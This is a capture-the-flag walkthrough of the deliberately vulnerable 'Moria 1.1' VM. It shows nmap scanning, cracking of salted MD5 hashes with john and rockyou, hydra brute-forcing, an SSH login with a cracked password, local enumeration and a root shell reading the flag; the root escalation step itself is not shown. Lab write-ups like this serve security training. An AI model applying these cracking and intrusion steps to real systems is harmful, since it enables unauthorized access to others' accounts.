┌──(kali㉿kali)-[~/Downloads/Moria 1.1] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.154 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-18 03:20 EDT Nmap scan report for 192.1.1.154 Host is up (0.00060s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:09:B3:87 (VMware)
┌──(kali㉿kali)-[~/Downloads/Moria 1.1] └─$ sudo nmap -sT -sV -sC -O -p21,22,80 192.1.1.154 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-18 03:21 EDT Nmap scan report for 192.1.1.154 Host is up (0.00028s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0) | ssh-hostkey: | 2048 47:b5:ed:e3:f9:ad:96:88:c0:f2:83:23:7f:a3:d3:4f (RSA) | 256 85:cd:a2:d8:bb:85:f6:0f:4e:ae:8c:aa:73:52:ec:63 (ECDSA) |_ 256 b1:77:7e:08:b3:a0:84:f8:f4:5d:f9:8e:d5:85:b9:34 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Gates of Moria MAC Address: 00:0C:29:09:B3:87 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
┌──(kali㉿kali)-[~/Downloads/Moria 1.1] └─$ sudo nmap --script=vuln -p21,22,80 192.1.1.154 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-18 03:22 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for 192.1.1.154 Host is up (0.00028s latency).
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. |_http-trace: TRACE is enabled |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-enum: | /w/: Potentially interesting folder w/ directory listing |_ /icons/: Potentially interesting folder w/ directory listing MAC Address: 00:0C:29:09:B3:87 (VMware)
"Is this the end?" Nain:"Will the human get the message?" Dain:"Is that human deaf? Why is it not listening?" "Knock knock" Fundin:"That human will never save us!" Ori:"Will anyone hear us?" "We will die here.." Telchar to Thrain:"That human is slow, don't give up yet" Maeglin:"The Balrog is not around, hurry!" Oin:"Stop knocking!" "Eru! Save us!" "Too loud!" Balin:"Be quiet, the Balrog will hear you!"
┌──(kali㉿kali)-[~/Downloads/Moria 1.1] └─$ sudo john --format=dynamic='md5(md5($p).$s)' --wordlist=/usr/share/wordlists/rockyou.txt hashuserpass Using default input encoding: UTF-8 Loaded 9 password hashes with 9 different salts (dynamic=md5(md5($p).$s) [256/256 AVX2 8x3]) Warning: no OpenMP support for this hashtype, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status flower (?) warrior (?) spanky (?) rainbow (?) abcdef (?) fuckoff (?) darkness (?) magic (?) hunter2 (?) 9g 0:00:00:00 DONE (2023-09-18 08:26) 450.0g/s 672000p/s 2016Kc/s 2016KC/s chulita..waiting Use the "--show --format=dynamic=md5(md5($p).$s)" options to display all of the cracked passwords reliably Session completed.
使用 hydra 爆破的时候又遇到了可能是被封 IP 的问题,最后一点点手动尝试,发现 ori:spanky 是 ssh 登录的口令
┌──(kali㉿kali)-[~/Downloads/Moria 1.1] └─$ ssh Ori@192.1.1.154 Ori@192.1.1.154\'s password: Last login: Sun Mar 12 22:57:09 2017 -bash-4.2$ whoami Ori -bash-4.2$ id uid=1002(Ori) gid=1003(notBalrog) groups=1003(notBalrog) -bash-4.2$ uname -a Linux Moria 3.10.0-514.el7.x86_64 #1 SMP Tue Nov 22 16:42:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux -bash-4.2$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:0c:29:09:b3:87 brd ff:ff:ff:ff:ff:ff inet 192.1.1.154/24 brd 192.1.1.255 scope global dynamic ens33 valid_lft 1400sec preferred_lft 1400sec inet6 fe80::deef:db78:6f77:ebdf/64 scope link valid_lft forever preferred_lft forever -bash-4.2$ sudo -l
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for Ori: Sorry, user Ori may not run sudo on Moria. -bash-4.2$ echo $SHELL /bin/bash -bash-4.2$ pwd /home/Ori -bash-4.2$ ls -alih total 8.0K 161138 drwx------ 3 Ori notBalrog 55 Mar 12 2017 . 50331740 drwxr-x---. 4 root notBalrog 32 Mar 14 2017 .. 275393 -rw------- 1 Ori notBalrog 1 Mar 14 2017 .bash_history 31082 -rw-r--r-- 1 root root 225 Mar 13 2017 poem.txt 50614599 drwx------ 2 Ori notBalrog 57 Mar 12 2017 .ssh -bash-4.2$ cat poem.txt Ho! Ho! Ho! to the bottle I go To heal my heart and drown my woe. Rain may fall and wind may blow, And many miles be still to go, But under a tall tree I will lie, And let the clouds go sailing by.
PS: Moria will not fall! -bash-4.2$ cat .bash_history
登录成功,家目录中有个 poem.txt ,没太看懂。
1 2 3 4 5 6 7 8 9
-bash-4.2$ ls -liah /etc/passwd /etc/shadow /etc/crontab 16865300 -rw-r--r-- 1 root root 450 Mar 11 2017 /etc/crontab 16784990 -rw-r--r-- 1 root root 1.5K Mar 14 2017 /etc/passwd 17556984 ---------- 1 root root 1.2K Apr 28 2017 /etc/shadow -bash-4.2$ ls /home abatchy Ori -bash-4.2$ cd /home/abatchy/ -bash: cd: /home/abatchy/: Permission denied
[root@Moria ~]# whoami root [root@Moria ~]# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:0c:29:09:b3:87 brd ff:ff:ff:ff:ff:ff inet 192.1.1.154/24 brd 192.1.1.255 scope global dynamic ens33 valid_lft 1745sec preferred_lft 1745sec inet6 fe80::deef:db78:6f77:ebdf/64 scope link valid_lft forever preferred_lft forever [root@Moria ~]# uname -a Linux Moria 3.10.0-514.el7.x86_64 #1 SMP Tue Nov 22 16:42:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux [root@Moria ~]# cd /rot -bash: cd: /rot: No such file or directory [root@Moria ~]# cd /root [root@Moria ~]# ls 0 anaconda-ks.cfg Desktop flag.txt hosts [root@Moria ~]# cat flag.txt “All that is gold does not glitter, Not all those who wander are lost; The old that is strong does not wither, Deep roots are not reached by the frost.
From the ashes a fire shall be woken, A light from the shadows shall spring; Renewed shall be blade that was broken, The crownless again shall be king.”
All That is Gold Does Not Glitter by J. R. R. Tolkien
I hope you suff.. enjoyed this VM. It wasn't so hard, was it? -Abatchy